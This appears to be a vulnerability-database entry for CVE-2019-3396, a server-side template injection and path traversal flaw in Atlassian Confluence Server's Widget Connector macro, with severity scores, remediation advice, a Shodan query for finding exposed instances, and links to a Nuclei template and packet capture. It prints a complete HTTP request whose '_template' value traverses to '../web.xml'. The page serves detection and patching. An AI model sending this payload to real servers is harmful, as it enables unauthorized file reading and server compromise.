🔙 목록으로 돌아가기

CVE-2019-3396: Atlassian Confluence Server - Path Traversal

TitleAtlassian Confluence Server - Path Traversal
Authorharshbothra_
SeverityCritical
ImpactUnauthenticated attackers can exploit server-side template injection to achieve path traversal and execute arbitrary code, leading to complete Confluence server compromise.
RemediationApply the necessary security patches or upgrade to a patched version of Atlassian Confluence Server to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.94472
CVE IDCVE-2019-3396
CWE IDCWE-22
Shodan Queryhttp.component:"Atlassian Confluence"cpe:"cpe:2.3:a:atlassian:confluence"http.component:"atlassian confluence"
Tags cve cve2019 atlassian confluence lfi rce kev packetstorm vkev vuln

🔍 Vulnerability Description

The Widget Connector macro in Atlassian Confluence Server before version 6.6.12 (the fixed version for 6.6.x), from version 6.7.0 before 6.12.3 (the fixed version for 6.12.x), from version 6.13.0 before 6.13.3 (the fixed version for 6.13.x), and from version 6.14.0 before 6.14.2 (the fixed version for 6.14.x), allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection.

🌐 HTTP Request

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Safari/605.1.15
Connection: close
Content-Length: 168
Referer: www.victim.com
Accept-Encoding: gzip

{"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"../web.xml"}}}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-3396.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-3396.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A